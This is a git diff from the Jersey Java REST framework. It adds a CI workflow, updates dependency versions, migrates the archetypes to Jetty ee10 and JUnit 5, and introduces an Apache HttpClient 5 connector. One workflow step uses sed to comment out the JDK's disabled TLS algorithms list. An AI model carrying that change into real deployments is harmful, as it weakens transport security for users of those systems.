diff --git a/.github/workflows/maven.yml b/.github/workflows/maven.yml new file mode 100644 index 00000000000..6e6046c67a0 --- /dev/null +++ b/.github/workflows/maven.yml @@ -0,0 +1,50 @@ +# +# Copyright (c) 2022, 2023 Contributors to the Eclipse Foundation +# +# This program and the accompanying materials are made available under the +# terms of the Eclipse Public License v. 2.0 which is available at +# http://www.eclipse.org/legal/epl-2.0, +# or the Eclipse Distribution License v. 1.0 which is available at +# http://www.eclipse.org/org/documents/edl-v10.php. +# +# SPDX-License-Identifier: EPL-2.0 OR BSD-3-Clause +# + +name: Jersey + +on: [push, pull_request] + +jobs: + build: + name: Build on JDK ${{ matrix.java_version }} with ${{matrix.test_profiles}} profile + runs-on: ubuntu-latest + env: + script-directory: $GITHUB_WORKSPACE/etc/jenkins + + strategy: + matrix: + java_version: [ 21 ] + verify_profiles: [ '-Plicense_check,staging' ] + continue-on-error: false + + steps: + - name: Checkout for build + uses: actions/checkout@v3 + with: + fetch-depth: 0 + - name: Set up JDK + uses: actions/setup-java@v3 + with: + distribution: 'zulu' + java-version: ${{ matrix.java_version }} + - name: configure JDK + run: | + secLoc=`find $JAVA_HOME -name java.security` + sed -i 's/jdk.tls.disabledAlgorithms/# jdk.tls.disabledAlgorithms/g' -i $secLoc + - name: Build + run: mvn -V -U -B ${{matrix.verify_profiles}} org.eclipse.dash:license-tool-plugin:license-check -DexcludeArtifactIds=bsh,jmh-core,jmh-generator-annprocess,swing-layout -pl '!:version-agnostic' + - name: Upload license-check info + uses: actions/upload-artifact@v3 + with: + name: license-summary.txt + path: target/dash/summary diff --git a/.gitignore b/.gitignore index 9d011f0bfb9..e57eef103a8 100644 --- a/.gitignore +++ b/.gitignore @@ -27,6 +27,7 @@ nb-configuration.xml .settings/* .project .classpath +.factorypath # Maven plugins noise dependency-reduced-pom.xml diff --git a/NOTICE.md b/NOTICE.md index 3519c880054..724bef42e0f 100644 --- a/NOTICE.md +++ b/NOTICE.md @@ -41,13 +41,13 @@ aopalliance Version 1 * Project: http://aopalliance.sourceforge.net * Copyright: Material in the public domain is not protected by copyright -Bean Validation API 3.0.0 +Bean Validation API 3.0.2 * License: Apache License, 2.0 * Project: https://projects.eclipse.org/projects/ee4j.bean-validation * Copyright: 2009, Red Hat, Inc. and/or its affiliates, and individual contributors * by the @authors tag. -Hibernate Validator CDI, 7.0.0.Final +Hibernate Validator CDI, 8.0.1.Final * License: Apache License, 2.0 * Project: https://beanvalidation.org/ * Repackaged in org.glassfish.jersey.server.validation.internal.hibernate @@ -65,15 +65,15 @@ jakarta.inject Version: 1 * License: Apache License, 2.0 * Copyright (C) 2009 The JSR-330 Expert Group -Javassist Version 3.25.0-GA +Javassist Version 3.29.2-GA * License: Apache License, 2.0 * Project: http://www.javassist.org/ * Copyright (C) 1999- Shigeru Chiba. All Rights Reserved. -Jackson JAX-RS Providers Version 2.13.0 +Jackson JAX-RS Providers Version 2.15.3 * License: Apache License, 2.0 * Project: https://github.com/FasterXML/jackson-jaxrs-providers -* Copyright: (c) 2009-2011 FasterXML, LLC. All rights reserved unless otherwise indicated. +* Copyright: (c) 2009-2023 FasterXML, LLC. All rights reserved unless otherwise indicated. jQuery v1.12.4 * License: jquery.org/license @@ -95,7 +95,7 @@ KineticJS, v4.7.1 * Project: http://www.kineticjs.com, https://github.com/ericdrowell/KineticJS * Copyright: Eric Rowell -org.objectweb.asm Version 9.2 +org.objectweb.asm Version 9.6 * License: Modified BSD (https://asm.ow2.io/license.html) * Copyright (c) 2000-2011 INRIA, France Telecom. All rights reserved. diff --git a/archetypes/jersey-example-java8-webapp/pom.xml b/archetypes/jersey-example-java8-webapp/pom.xml index a31bd683b26..f67e025f617 100644 --- a/archetypes/jersey-example-java8-webapp/pom.xml +++ b/archetypes/jersey-example-java8-webapp/pom.xml @@ -1,7 +1,7 @@ - org.eclipse.jetty - jetty-servlet + org.eclipse.jetty.ee10 + jetty-ee10-servlet \${jetty.version} provided - org.eclipse.jetty - jetty-webapp + org.eclipse.jetty.ee10 + jetty-ee10-webapp \${jetty.version} provided @@ -89,8 +89,8 @@ - org.eclipse.jetty - jetty-maven-plugin + org.eclipse.jetty.ee10 + jetty-ee10-maven-plugin \${jetty.version} / @@ -101,12 +101,25 @@ \${project.build.directory}/\${project.build.finalName}.war + + + org.apache.maven.plugins + maven-surefire-plugin + ${surefire.mvn.plugin.version} + + + org.apache.maven.plugins + maven-war-plugin + ${war.mvn.plugin.version} + ${project.version} + 12.0.5 UTF-8 - 11.0.0.beta3 + 3.2.1 + 3.4.0 - \ No newline at end of file + diff --git a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/src/main/java/heroku/Main.java b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/src/main/java/heroku/Main.java index 06594bfeeaa..30d0665790c 100644 --- a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/src/main/java/heroku/Main.java +++ b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/src/main/java/heroku/Main.java @@ -1,7 +1,7 @@ package ${package}.heroku; import org.eclipse.jetty.server.Server; -import org.eclipse.jetty.webapp.WebAppContext; +import org.eclipse.jetty.ee10.webapp.WebAppContext; /** * This class launches the web application in an embedded Jetty container. This is the entry point to your application. The Java @@ -30,7 +30,7 @@ public static void main(String[] args) throws Exception{ final String webappDirLocation = "src/main/webapp/"; root.setDescriptor(webappDirLocation + "/WEB-INF/web.xml"); - root.setResourceBase(webappDirLocation); + root.setBaseResourceAsString(webappDirLocation); server.setHandler(root); diff --git a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/src/test/java/MyResourceTest.java b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/src/test/java/MyResourceTest.java index f856c8c9fc9..3ed409ed403 100644 --- a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/src/test/java/MyResourceTest.java +++ b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/src/test/java/MyResourceTest.java @@ -5,8 +5,8 @@ import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; -import static org.junit.Assert.assertEquals; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; import ${package}.MyResource; diff --git a/archetypes/jersey-quickstart-grizzly2/pom.xml b/archetypes/jersey-quickstart-grizzly2/pom.xml index 32d4a9a8695..7b7371e8b36 100644 --- a/archetypes/jersey-quickstart-grizzly2/pom.xml +++ b/archetypes/jersey-quickstart-grizzly2/pom.xml @@ -1,7 +1,7 @@ - junit - junit - 4.12 + org.junit.jupiter + junit-jupiter + \${junit-jupiter.version} test @@ -72,11 +72,19 @@ \${package}.Main + + + org.apache.maven.plugins + maven-surefire-plugin + ${surefire.mvn.plugin.version} + ${project.version} + 5.10.1 UTF-8 + 3.2.1 diff --git a/archetypes/jersey-quickstart-grizzly2/src/main/resources/archetype-resources/src/test/java/MyResourceTest.java b/archetypes/jersey-quickstart-grizzly2/src/main/resources/archetype-resources/src/test/java/MyResourceTest.java index 6ae68070c19..0b5f5c7771d 100644 --- a/archetypes/jersey-quickstart-grizzly2/src/main/resources/archetype-resources/src/test/java/MyResourceTest.java +++ b/archetypes/jersey-quickstart-grizzly2/src/main/resources/archetype-resources/src/test/java/MyResourceTest.java @@ -6,17 +6,17 @@ import org.glassfish.grizzly.http.server.HttpServer; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import static org.junit.Assert.assertEquals; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; public class MyResourceTest { private HttpServer server; private WebTarget target; - @Before + @BeforeEach public void setUp() throws Exception { // start the server server = Main.startServer(); @@ -32,7 +32,7 @@ public void setUp() throws Exception { target = c.target(Main.BASE_URI); } - @After + @AfterEach public void tearDown() throws Exception { server.stop(); } diff --git a/archetypes/jersey-quickstart-webapp/pom.xml b/archetypes/jersey-quickstart-webapp/pom.xml index 5b395540d44..43525bc84da 100644 --- a/archetypes/jersey-quickstart-webapp/pom.xml +++ b/archetypes/jersey-quickstart-webapp/pom.xml @@ -1,7 +1,7 @@ - - - - + + org.glassfish.jersey.connectors + jersey-apache5-connector + ${project.version} + + + org.glassfish.jersey.connectors + jersey-helidon-connector + ${project.version} + org.glassfish.jersey.connectors jersey-grizzly-connector @@ -75,7 +80,7 @@ org.glassfish.jersey.connectors - jersey-java-connector + jersey-jnh-connector ${project.version} @@ -83,6 +88,16 @@ jersey-jetty-connector ${project.version} + + org.glassfish.jersey.connectors + jersey-jetty11-connector + ${project.version} + + + org.glassfish.jersey.connectors + jersey-jetty-http2-connector + ${project.version} + org.glassfish.jersey.connectors jersey-jdk-connector @@ -98,6 +113,16 @@ jersey-container-jetty-http ${project.version} + + org.glassfish.jersey.containers + jersey-container-jetty11-http + ${project.version} + + + org.glassfish.jersey.containers + jersey-container-jetty-http2 + ${project.version} + org.glassfish.jersey.containers jersey-container-grizzly2-http @@ -153,6 +178,11 @@ jersey-entity-filtering ${project.version} + + org.glassfish.jersey.ext + jersey-micrometer + ${project.version} + org.glassfish.jersey.ext jersey-metainf-services @@ -193,16 +223,11 @@ jersey-proxy-client ${project.version} - - - - - - - - - - + + org.glassfish.jersey.ext + jersey-spring6 + ${project.version} + org.glassfish.jersey.ext jersey-declarative-linking @@ -263,11 +288,11 @@ jersey-rx-client-rxjava2 ${project.version} - - - - - + + org.glassfish.jersey.ext.microprofile + jersey-mp-rest-client + ${project.version} + org.glassfish.jersey.media jersey-media-jaxb @@ -288,6 +313,11 @@ jersey-media-json-processing ${project.version} + + org.glassfish.jersey.media + jersey-media-json-gson + ${project.version} + org.glassfish.jersey.media jersey-media-json-binding @@ -384,6 +414,11 @@ jersey-test-framework-provider-jetty ${project.version} + + org.glassfish.jersey.test-framework.providers + jersey-test-framework-provider-jetty-http2 + ${project.version} + org.glassfish.jersey.test-framework jersey-test-framework-util @@ -403,7 +438,7 @@ org.apache.maven.plugins maven-site-plugin - 3.7.1 + 3.9.1 diff --git a/bundles/apidocs/pom.xml b/bundles/apidocs/pom.xml index 3ac78a52432..f3d5492f85c 100644 --- a/bundles/apidocs/pom.xml +++ b/bundles/apidocs/pom.xml @@ -1,7 +1,7 @@ + + + org.glassfish.jersey.connectors + jersey-apache5-connector + ${project.version} org.glassfish.jersey.connectors jersey-grizzly-connector ${project.version} + + + org.slf4j + slf4j-api + + + + + org.glassfish.jersey.connectors + jersey-helidon-connector + ${project.version} + + + org.glassfish.jersey.connectors + jersey-jnh-connector + ${project.version} org.glassfish.jersey.connectors @@ -91,11 +124,19 @@ + + jakarta.persistence + jakarta.persistence-api + org.glassfish javax.servlet 3.1 + + jakarta.persistence + jakarta.persistence-api + org.glassfish.jersey.containers jersey-container-simple-http @@ -106,6 +147,11 @@ jersey-container-jdk-http ${project.version} + + org.glassfish.jersey.containers + jersey-container-jetty-http + ${project.version} + org.glassfish.jersey.containers jersey-container-grizzly2-http @@ -132,6 +178,22 @@ jersey-media-json-jackson ${project.version} + + com.fasterxml.jackson.module + jackson-module-jaxb-annotations + + + jakarta.xml.bind + jakarta.xml.bind-api + + + jakarta.activation + jakarta.activation-api + + + true + provided + org.glassfish.jersey.media jersey-media-json-jettison @@ -185,11 +247,21 @@ jersey-declarative-linking ${project.version} + + org.glassfish.jersey.ext + jersey-micrometer + ${project.version} + org.glassfish.jersey.ext.microprofile jersey-mp-config ${project.version} + + org.glassfish.jersey.ext.microprofile + jersey-mp-rest-client + ${project.version} + org.glassfish.jersey.ext jersey-wadl-doclet @@ -208,54 +280,6 @@ ${project.version} - - - JettyExclude - - 1.8 - - - 9.4.28.v20200408 - - - - org.eclipse.jetty - jetty-client - ${jetty.version} - - - org.eclipse.jetty - jetty-util - ${jetty.version} - - - - - jetty2x - - false - - - - org.glassfish.jersey.ext.microprofile - jersey-mp-rest-client - ${project.version} - - - - org.glassfish.jersey.media - jersey-media-json-jackson1 - ${project.version} - - - - org.glassfish.jersey.connectors - jersey-helidon-connector - ${project.version} - - - - @@ -271,7 +295,11 @@ true META-INF/versions/12/org/glassfish/jersey/wadl/doclet/*.java + META-INF/versions/17/org/glassfish/jersey/jetty/*.java + META-INF/versions/17/org/glassfish/jersey/jetty/connector/*.java + META-INF/versions/17/org/glassfish/jersey/helidon/connector/*.java org/glassfish/jersey/helidon/connector/*.java + org/glassfish/jersey/wadl/doclet/*.java org.glassfish.jersey.*:* @@ -293,6 +321,70 @@ + + org.apache.maven.plugins + maven-enforcer-plugin + + true + + + + + jetty11 + + true + + + ${jetty11.version} + + + + + org.glassfish.jersey.connectors + jersey-jetty11-connector + ${project.version} + + + + + + + org.glassfish.jersey.connectors + jersey-jetty11-connector + ${project.version} + + + + + diff --git a/bundles/examples/pom.xml b/bundles/examples/pom.xml index a3e5e7b414a..0ac09a0e8cb 100644 --- a/bundles/examples/pom.xml +++ b/bundles/examples/pom.xml @@ -1,7 +1,7 @@ + + + 4.0.0 + + + org.glassfish.jersey.connectors + project + 3.1.99-SNAPSHOT + + + jersey-apache5-connector + jar + jersey-connectors-apache5 + + Jersey Client Transport via Apache HttpClient 5.x + + + UTF-8 + + + + + org.apache.httpcomponents.client5 + httpclient5 + + + org.slf4j + slf4j-api + + + + + + org.slf4j + slf4j-api + ${slf4j.version} + test + + + org.glassfish.jersey.containers + jersey-container-grizzly2-http + ${project.version} + test + + + + org.glassfish.jersey.test-framework.providers + jersey-test-framework-provider-grizzly2 + ${project.version} + test + + + + + + + com.sun.istack + istack-commons-maven-plugin + true + + + org.codehaus.mojo + build-helper-maven-plugin + true + + + org.apache.maven.plugins + maven-compiler-plugin + + + org.apache.felix + maven-bundle-plugin + true + + + + + diff --git a/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/Apache5ClientProperties.java b/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/Apache5ClientProperties.java new file mode 100644 index 00000000000..df4c8e059cb --- /dev/null +++ b/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/Apache5ClientProperties.java @@ -0,0 +1,207 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import java.util.Map; + +import org.glassfish.jersey.internal.util.PropertiesClass; +import org.glassfish.jersey.internal.util.PropertiesHelper; + +/** + * Configuration options specific to the Client API that utilizes {@link Apache5ConnectorProvider}. + * + * @author jorgeluisw@mac.com + * @author Paul Sandoz + * @author Pavel Bucek + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Steffen Nießing + */ +@PropertiesClass +public final class Apache5ClientProperties { + + /** + * The credential provider that should be used to retrieve + * credentials from a user. Credentials needed for proxy authentication + * are stored here as well. + *

+ * The value MUST be an instance of {@link org.apache.hc.client5.http.auth.CredentialsProvider}. + *

+ * If the property is absent a default provider will be used. + *

+ * The name of the configuration property is {@value}. + */ + public static final String CREDENTIALS_PROVIDER = "jersey.config.apache5.client.credentialsProvider"; + + /** + * A value of {@code false} indicates the client should handle cookies + * automatically using HttpClient's default cookie policy. A value + * of {@code true} will cause the client to ignore all cookies. + *

+ * The value MUST be an instance of {@link java.lang.Boolean}. + *

+ * The default value is {@code false}. + *

+ * The name of the configuration property is {@value}. + */ + public static final String DISABLE_COOKIES = "jersey.config.apache5.client.handleCookies"; + + /** + * A value of {@code true} indicates that a client should send an + * authentication request even before the server gives a 401 + * response. + *

+ * This property may only be set prior to constructing Apache connector using {@link Apache5ConnectorProvider}. + *

+ * The value MUST be an instance of {@link java.lang.Boolean}. + *

+ * The default value is {@code false}. + *

+ * The name of the configuration property is {@value}. + */ + public static final String PREEMPTIVE_BASIC_AUTHENTICATION = "jersey.config.apache5.client.preemptiveBasicAuthentication"; + + /** + * Connection Manager which will be used to create {@link org.apache.hc.client5.http.classic.HttpClient}. + *

+ * The value MUST be an instance of {@link org.apache.hc.client5.http.io.HttpClientConnectionManager}. + *

+ * If the property is absent a default Connection Manager will be used + * ({@link org.apache.hc.client5.http.impl.io.BasicHttpClientConnectionManager}). + * If you want to use this client in multi-threaded environment, be sure you override default value with + * {@link org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager} instance. + *

+ * The name of the configuration property is {@value}. + */ + public static final String CONNECTION_MANAGER = "jersey.config.apache5.client.connectionManager"; + + /** + * A value of {@code true} indicates that configured connection manager should be shared + * among multiple Jersey {@code ClientRuntime} instances. It means that closing + * a particular {@code ClientRuntime} instance does not shut down the underlying + * connection manager automatically. In such case, the connection manager life-cycle + * should be fully managed by the application code. To release all allocated resources, + * caller code should especially ensure {@link org.apache.hc.client5.http.io.HttpClientConnectionManager#close()} gets + * invoked eventually. + *

+ * This property may only be set prior to constructing Apache connector using {@link Apache5ConnectorProvider}. + *

+ * The value MUST be an instance of {@link java.lang.Boolean}. + *

+ * The default value is {@code false}. + *

+ * The name of the configuration property is {@value}. + * + * @since 2.18 + */ + public static final String CONNECTION_MANAGER_SHARED = "jersey.config.apache5.client.connectionManagerShared"; + + /** + * Request configuration for the {@link org.apache.hc.client5.http.classic.HttpClient}. + * Http parameters which will be used to create {@link org.apache.hc.client5.http.classic.HttpClient}. + *

+ * The value MUST be an instance of {@link org.apache.hc.client5.http.config.RequestConfig}. + *

+ * If the property is absent default request configuration will be used. + *

+ * The name of the configuration property is {@value}. + * + * @since 2.5 + */ + public static final String REQUEST_CONFIG = "jersey.config.apache5.client.requestConfig"; + + /** + * HttpRequestRetryStrategy which will be used to create {@link org.apache.hc.client5.http.classic.HttpClient}. + *

+ * The value MUST be an instance of {@link org.apache.hc.client5.http.HttpRequestRetryStrategy}. + *

+ * If the property is absent a default retry handler will be used + * ({@link org.apache.hc.client5.http.impl.DefaultHttpRequestRetryStrategy}). + *

+ * The name of the configuration property is {@value}. + */ + public static final String RETRY_STRATEGY = "jersey.config.apache5.client.retryStrategy"; + + /** + * ConnectionReuseStrategy for the {@link org.apache.hc.client5.http.classic.HttpClient}. + *

+ * The value MUST be an instance of {@link org.apache.hc.core5.http.ConnectionReuseStrategy}. + *

+ * If the property is absent the default reuse strategy of the Apache HTTP library will be used + *

+ * The name of the configuration property is {@value}. + */ + public static final String REUSE_STRATEGY = "jersey.config.apache5.client.reuseStrategy"; + + /** + * ConnectionKeepAliveStrategy for the {@link org.apache.hc.client5.http.classic.HttpClient}. + *

+ * The value MUST be an instance of {@link org.apache.hc.client5.http.ConnectionKeepAliveStrategy}. + *

+ * If the property is absent the default keepalive strategy of the Apache HTTP library will be used + *

+ * The name of the configuration property is {@value}. + */ + public static final String KEEPALIVE_STRATEGY = "jersey.config.apache5.client.keepAliveStrategy"; + + + /** + * Strategy that closes the Apache Connection. Accepts an instance of {@link Apache5ConnectionClosingStrategy}. + * + * @see Apache5ConnectionClosingStrategy + * @since 2.30 + */ + public static final String CONNECTION_CLOSING_STRATEGY = "jersey.config.apache5.client.connectionClosingStrategy"; + + /** + * A value of {@code false} indicates the client will use default ApacheConnector params. A value + * of {@code true} will cause the client to take into account the system properties + * {@code https.protocols}, {@code https.cipherSuites}, {@code http.keepAlive}, + * {@code http.maxConnections}. + *

+ * The value MUST be an instance of {@link java.lang.Boolean}. + *

+ * The default value is {@code false}. + *

+ * The name of the configuration property is {@value}. + */ + public static final String USE_SYSTEM_PROPERTIES = "jersey.config.apache5.client.useSystemProperties"; + + /** + * Get the value of the specified property. + * + * If the property is not set or the actual property value type is not compatible with the specified type, the method will + * return {@code null}. + * + * @param properties Map of properties to get the property value from. + * @param key Name of the property. + * @param type Type to retrieve the value as. + * @param Type of the property value. + * @return Value of the property or {@code null}. + * + * @since 2.8 + */ + public static T getValue(final Map properties, final String key, final Class type) { + return PropertiesHelper.getValue(properties, key, type, null); + } + + /** + * Prevents instantiation. + */ + private Apache5ClientProperties() { + throw new AssertionError("No instances allowed."); + } +} diff --git a/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/Apache5ConnectionClosingStrategy.java b/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/Apache5ConnectionClosingStrategy.java new file mode 100644 index 00000000000..ad23f2d53f6 --- /dev/null +++ b/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/Apache5ConnectionClosingStrategy.java @@ -0,0 +1,86 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import org.apache.hc.client5.http.classic.methods.HttpUriRequest; +import org.apache.hc.client5.http.impl.classic.CloseableHttpResponse; +import org.glassfish.jersey.client.ClientRequest; + +import java.io.IOException; +import java.io.InputStream; +import java.net.URISyntaxException; + +/** + * Strategy that defines the way the Apache client releases resources. The client enables closing the content stream + * and the response. From the Apache documentation: + *

+ *     The difference between closing the content stream and closing the response is that
+ *     the former will attempt to keep the underlying connection alive by consuming the
+ *     entity content while the latter immediately shuts down and discards the connection.
+ * 
+ * In the case of Chunk content stream, the stream is not closed on the server side, and the client can hang on reading + * the closing chunk. Using the {@link org.glassfish.jersey.client.ClientProperties#READ_TIMEOUT} property can prevent + * this hanging forever and the reading of the closing chunk is terminated when the time is out. The other option, when + * the timeout is not set, is to abort the Apache client request. This is the default for Apache Client 4.5.1+ when the + * read timeout is not set. + *

+ * Another option is not to close the content stream, which is possible by the Apache client documentation. In this case, + * however, the server side may not be notified and would not close its chunk stream. + */ +public interface Apache5ConnectionClosingStrategy { + /** + * Method to close the connection. + * @param clientRequest The {@link ClientRequest} to get {@link ClientRequest#getConfiguration() configuration}, + * and {@link ClientRequest#resolveProperty(String, Class) resolve properties}. + * @param request Apache {@code HttpUriRequest} that can be {@code abort}ed. + * @param response Apache {@code CloseableHttpResponse} that can be {@code close}d. + * @param stream The entity stream that can be {@link InputStream#close() closed}. + * @throws IOException In case of some of the closing methods throws {@link IOException} + */ + void close(ClientRequest clientRequest, HttpUriRequest request, CloseableHttpResponse response, InputStream stream) + throws IOException; + + /** + * Strategy that aborts Apache HttpRequests for the case of Chunked Stream, closes the stream, and response next. + */ + class Apache5GracefulClosingStrategy implements Apache5ConnectionClosingStrategy { + private static final String UNIX_PROTOCOL = "unix"; + + static final Apache5GracefulClosingStrategy INSTANCE = new Apache5GracefulClosingStrategy(); + + @Override + public void close(ClientRequest clientRequest, HttpUriRequest request, CloseableHttpResponse response, InputStream stream) + throws IOException { + boolean isUnixProtocol = false; + try { + isUnixProtocol = UNIX_PROTOCOL.equals(request.getUri().getScheme()); + } catch (URISyntaxException ex) { + // Ignore + } + if (response.getEntity() != null && response.getEntity().isChunked() && !isUnixProtocol) { + request.abort(); + } + try { + stream.close(); + } catch (IOException ex) { + // Ignore + } finally { + response.close(); + } + } + } +} diff --git a/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/Apache5Connector.java b/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/Apache5Connector.java new file mode 100644 index 00000000000..f7c30a9fa3b --- /dev/null +++ b/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/Apache5Connector.java @@ -0,0 +1,892 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import java.io.BufferedInputStream; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.Closeable; +import java.io.FilterInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.Socket; +import java.net.URI; +import java.net.URISyntaxException; +import java.util.ArrayList; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.Future; +import java.util.logging.Level; +import java.util.logging.Logger; +import java.util.stream.Collectors; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.core.Configuration; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.MultivaluedMap; +import jakarta.ws.rs.core.Response; + +import javax.net.ssl.HostnameVerifier; +import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLSocket; +import javax.net.ssl.SSLSocketFactory; + +import org.apache.hc.client5.http.AuthenticationStrategy; +import org.apache.hc.client5.http.ConnectionKeepAliveStrategy; +import org.apache.hc.client5.http.HttpRequestRetryStrategy; +import org.apache.hc.client5.http.auth.AuthCache; +import org.apache.hc.client5.http.auth.AuthScope; +import org.apache.hc.client5.http.auth.CredentialsProvider; +import org.apache.hc.client5.http.auth.CredentialsStore; +import org.apache.hc.client5.http.auth.UsernamePasswordCredentials; +import org.apache.hc.client5.http.classic.HttpClient; +import org.apache.hc.client5.http.classic.methods.HttpUriRequest; +import org.apache.hc.client5.http.classic.methods.HttpUriRequestBase; +import org.apache.hc.client5.http.config.RequestConfig; +import org.apache.hc.client5.http.cookie.BasicCookieStore; +import org.apache.hc.client5.http.cookie.CookieStore; +import org.apache.hc.client5.http.cookie.StandardCookieSpec; +import org.apache.hc.client5.http.impl.auth.BasicAuthCache; +import org.apache.hc.client5.http.impl.auth.BasicCredentialsProvider; +import org.apache.hc.client5.http.impl.auth.BasicScheme; +import org.apache.hc.client5.http.impl.classic.BasicHttpClientResponseHandler; +import org.apache.hc.client5.http.impl.classic.CloseableHttpClient; +import org.apache.hc.client5.http.impl.classic.CloseableHttpResponse; +import org.apache.hc.client5.http.impl.classic.HttpClientBuilder; +import org.apache.hc.client5.http.impl.io.ManagedHttpClientConnectionFactory; +import org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager; +import org.apache.hc.client5.http.io.HttpClientConnectionManager; +import org.apache.hc.client5.http.protocol.HttpClientContext; +import org.apache.hc.client5.http.socket.ConnectionSocketFactory; +import org.apache.hc.client5.http.socket.LayeredConnectionSocketFactory; +import org.apache.hc.client5.http.socket.PlainConnectionSocketFactory; +import org.apache.hc.client5.http.ssl.SSLConnectionSocketFactory; +import org.apache.hc.core5.http.ConnectionReuseStrategy; +import org.apache.hc.core5.http.Header; +import org.apache.hc.core5.http.HttpEntity; +import org.apache.hc.core5.http.HttpHost; +import org.apache.hc.core5.http.config.Http1Config; +import org.apache.hc.core5.http.config.Registry; +import org.apache.hc.core5.http.config.RegistryBuilder; +import org.apache.hc.core5.http.impl.DefaultContentLengthStrategy; +import org.apache.hc.core5.http.io.entity.AbstractHttpEntity; +import org.apache.hc.core5.http.io.entity.BufferedHttpEntity; +import org.apache.hc.core5.http.protocol.HttpContext; +import org.apache.hc.core5.ssl.SSLContexts; +import org.apache.hc.core5.util.TextUtils; +import org.apache.hc.core5.util.Timeout; +import org.apache.hc.core5.util.VersionInfo; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.ClientRequest; +import org.glassfish.jersey.client.ClientResponse; +import org.glassfish.jersey.client.RequestEntityProcessing; +import org.glassfish.jersey.client.innate.ClientProxy; +import org.glassfish.jersey.client.innate.http.SSLParamConfigurator; +import org.glassfish.jersey.client.spi.AsyncConnectorCallback; +import org.glassfish.jersey.client.spi.Connector; +import org.glassfish.jersey.internal.util.PropertiesHelper; +import org.glassfish.jersey.message.internal.HeaderUtils; +import org.glassfish.jersey.message.internal.OutboundMessageContext; +import org.glassfish.jersey.message.internal.ReaderWriter; +import org.glassfish.jersey.message.internal.Statuses; + +/** + * A {@link Connector} that utilizes the Apache HTTP Client to send and receive + * HTTP request and responses. + *

+ * The following properties are only supported at construction of this class: + *

+ *

+ * This connector uses {@link RequestEntityProcessing#CHUNKED chunked encoding} as a default setting. This can + * be overridden by the {@link ClientProperties#REQUEST_ENTITY_PROCESSING}. By default the + * {@link ClientProperties#CHUNKED_ENCODING_SIZE} property is only supported by using default connection manager. If custom + * connection manager needs to be used then chunked encoding size can be set by providing a custom + * {@link org.apache.hc.core5.http.io.HttpClientConnection} (via custom {@link org.apache.hc.client5.http.impl.io.ManagedHttpClientConnectionFactory}) + * and overriding {@code createOutputStream} method. + *

+ *

+ * Using of authorization is dependent on the chunk encoding setting. If the entity + * buffering is enabled, the entity is buffered and authorization can be performed + * automatically in response to a 401 by sending the request again. When entity buffering + * is disabled (chunked encoding is used) then the property + * {@link Apache5ClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION} must + * be set to {@code true}. + *

+ *

